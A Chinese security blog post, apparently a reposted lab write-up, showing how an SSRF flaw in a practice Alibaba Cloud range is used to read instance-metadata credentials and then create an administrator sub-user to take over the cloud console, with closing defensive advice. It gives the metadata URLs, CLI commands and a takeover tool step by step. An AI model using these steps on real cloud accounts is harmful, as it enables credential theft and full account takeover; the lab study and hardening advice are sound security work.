『红蓝对抗』教你如何接管 阿里云 控制台

admin 2023年1月29日18:51:35评论206 views字数 2744阅读9分8秒阅读模式
『红蓝对抗』教你如何接管 阿里云 控制台

击蓝字 / 关注我们


日期:2022-11-04
作者:hdsec
介绍:通过构建的阿里云 ECS SSRF 漏洞靶场到接管阿里云控制台。

0x00 前言

本次分享以阿里云平台为例,对云服务中的一些攻防手法进行演示。利用搭建的SSRF漏洞环境获取临时密钥,通过临时秘钥创建一个具有管理员访问权限的子用户,最后通过这个子用户接管阿里云控制台。

0x01 漏洞环境搭建

漏洞环境靶场地址:

https://github.com/HuoCorp/TerraformGoat

阿里云靶场搭建步骤如下,其他云服务器的搭建可参考靶场手册。

docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.5
docker run -itd --name terraformgoat_aliyun_0.0.5 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.5
docker exec -it terraformgoat_aliyun_0.0.5 /bin/bash
『红蓝对抗』教你如何接管 阿里云 控制台

进入docker容器内部后运行命令cd /TerraformGoat/aliyun/ecs/ecs_ssrf进入阿里云ecs ssrf靶场路径下,运行命令aliyun configure配置阿里云的Access Key IdAccess Key Secret

在阿里云控制台AccessKey管理功能处查看阿里云的Access Key IdAccess Key Secret

『红蓝对抗』教你如何接管 阿里云 控制台

『红蓝对抗』教你如何接管 阿里云 控制台

部署SSRF靶场:

terraform initterraform apply

在部署环境的时候遇到不少问题,其中一个就是由于创建的云服务是按时间计费的,但是一直提示报错说账户余额不足,此处美少女疑惑,我账户明明有两块钱怎么能不足呢?于是乎,我查询官网解释……好吧,是贫穷限制了我搭建靶场。

『红蓝对抗』教你如何接管 阿里云 控制台

在我充值了一百大洋后,终于皇天不负苦心人,靶场环境搭建成功了!(内心不禁感叹:有钱就是好使)

『红蓝对抗』教你如何接管 阿里云 控制台

需要注意的是,在漏洞复现完成后,搭建的环境会产生一定费用,可以用如下命令销毁靶场:

terraform destroy

0x02 漏洞利用

2.1 通过SSRF漏洞读取元数据

利用靶场的SSRF漏洞我们可以读取到该服务器的实例元数据信息。

那什么是实例元数据信息呢?实例元数据是指当前ECS实例存于在阿里云系统中的一些基本信息,包括:实例IDIP地址、实例操作系统名称等。可以使用这些元数据管理或配置 ECS实例。

在靶场环境中输入http://100.100.100.200/latest/meta-data发起请求元数据的根目录。

『红蓝对抗』教你如何接管 阿里云 控制台

在返回的结果中,可以看到根目录下存在ram/目录,这也就意味着当前云服务器配置了RAM 角色,这样我们可以获取到临时凭证了。

首先在靶场中输入如下链接,获取角色名称huocorp-terraform-goat-role

http://100.100.100.200/latest/meta-data/ram/security-credentials/

然后利用元数据获取临时凭证:

http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorp-terraform-goat-role

『红蓝对抗』教你如何接管 阿里云 控制台

2.2 创建子用户接管控制台

运行命令aliyun configure --mode StsToken将获取到的临时凭证配置到aliyun命令行工具里。

『红蓝对抗』教你如何接管 阿里云 控制台

创建子用户Test666,密码是Test@666,并赋予管理员权限。

aliyun ram CreateUser --UserName Test666aliyun ram CreateLoginProfile --UserName Test666 --Password Test@666aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName Test666

『红蓝对抗』教你如何接管 阿里云 控制台

访问https://signin.aliyun.com页面,通过RAM用户进行登录,这里的用户格式为 username@company-alias,其中username就是刚刚创建的用户名Test666company-alias 可以通过命令aliyun ram GetAccountAlias获取到。

『红蓝对抗』教你如何接管 阿里云 控制台

使用创建的RAM用户名和密码成功登录阿里云控制台。

『红蓝对抗』教你如何接管 阿里云 控制台

『红蓝对抗』教你如何接管 阿里云 控制台
『红蓝对抗』教你如何接管 阿里云 控制台

『红蓝对抗』教你如何接管 阿里云 控制台

可以在RAM访问控制里,看到当前用户的权限为AdministratorAccess,具有管理所有阿里云资源的权限。

『红蓝对抗』教你如何接管 阿里云 控制台

2.3 利用CF接管控制台

除了利用上面的方式,我们还可以利用工具CF,获取阿里云的控制权限,工具项目地址:

https://github.com/teamssix/cf

『红蓝对抗』教你如何接管 阿里云 控制台

利用ssrf读取到的元数据,进行访问配置,配置命令如下:./cf config

『红蓝对抗』教你如何接管 阿里云 控制台

运行命令./cf alibaba ls可以一键列出当前访问凭证的云服务资源,可以看到有两个实例。

『红蓝对抗』教你如何接管 阿里云 控制台

运行命令./cf alibaba console一键接管控制台。

『红蓝对抗』教你如何接管 阿里云 控制台

在浏览器中,打开控制台登录地址,并输入用户名、密码进行登录。

『红蓝对抗』教你如何接管 阿里云 控制台

同样在RAM访问控制里,可以看到当前用户的权限为AdministratorAccess,具有管理所有阿里云资源的权限。

『红蓝对抗』教你如何接管 阿里云 控制台

0x03 如何防御由SSRF造成的漏洞

除了需要修改SSRF漏洞外,还需要对以下两点进行整改:

(1)、对元数据的访问进行加固,可以在阿里云OpenAPI中开启元数据强制使用Token访问,也可以在创建实例的时候将实例元数据访问模式设置为仅加固模式。

『红蓝对抗』教你如何接管 阿里云 控制台

(2)、遵守权限最小化的原则,在为RAM角色赋予权限时,避免赋予过高的权限。

0x04 总结

从搭建靶场到利用SSRF漏洞获取临时密钥到接管阿里云控制台,整个过程学习到不少知识。让我见识到云上攻防跟常规攻防的不同,云上攻防更多的是配置上的问题。

『红蓝对抗』教你如何接管 阿里云 控制台


免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。


『红蓝对抗』教你如何接管 阿里云 控制台

宸极实验室

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(宸极实验室):『红蓝对抗』教你如何接管 阿里云 控制台

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月29日18:51:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『红蓝对抗』教你如何接管 阿里云 控制台https://cn-sec.com/archives/1391598.html

发表评论

匿名网友 填写信息